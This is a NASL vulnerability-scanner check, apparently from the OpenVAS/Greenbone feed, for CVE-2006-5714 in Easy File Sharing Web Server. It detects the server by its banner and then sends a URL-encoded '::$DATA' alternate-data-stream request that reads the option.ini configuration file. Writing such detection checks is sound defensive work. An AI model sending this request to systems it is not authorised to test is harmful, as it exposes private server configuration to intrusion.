Easy File Sharing Web Server Information Disclosure

# SPDX-FileCopyrightText: 2008 Justin Seitz
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.80055");
  script_version("2023-08-01T13:29:10+0000");
  script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
  script_tag(name:"creation_date", value:"2008-10-24 23:33:44 +0200 (Fri, 24 Oct 2008)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_cve_id("CVE-2006-5714");
  script_xref(name:"OSVDB", value:"30150");
  script_name("Easy File Sharing Web Server Information Disclosure");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2008 Justin Seitz");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("EasyFileSharingWebServer/banner");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"The version of Easy File Sharing Web Server that is installed on the remote host fails
  to restrict access to files via alternative data streams. By passing a specially-crafted request to the web server, an
  attacker may be able to access privileged information.");

  script_xref(name:"URL", value:"http://www.milw0rm.com/exploits/2690");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/20823");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("url_func.inc");

port = http_get_port(default:80);
banner = http_get_remote_headers(port:port);
if (!banner || "Server: Easy File Sharing Web Server" >!< banner) exit(0);

# We are sending an encoded request for /options.ini::$DATA to the web server.
attackreq = http_get(item:urlencode(str:"/option.ini::$DATA"),port:port);
attackres = http_keepalive_send_recv(port:port, data:attackreq, bodyonly:TRUE);
if (!attackres)
  exit(0);

if ("[Server]" >< attackres) {
  info = string("Here are the contents of the 'options.ini' configuration file from the remote host: \n\n", attackres);
  security_message(data:info, port:port);
}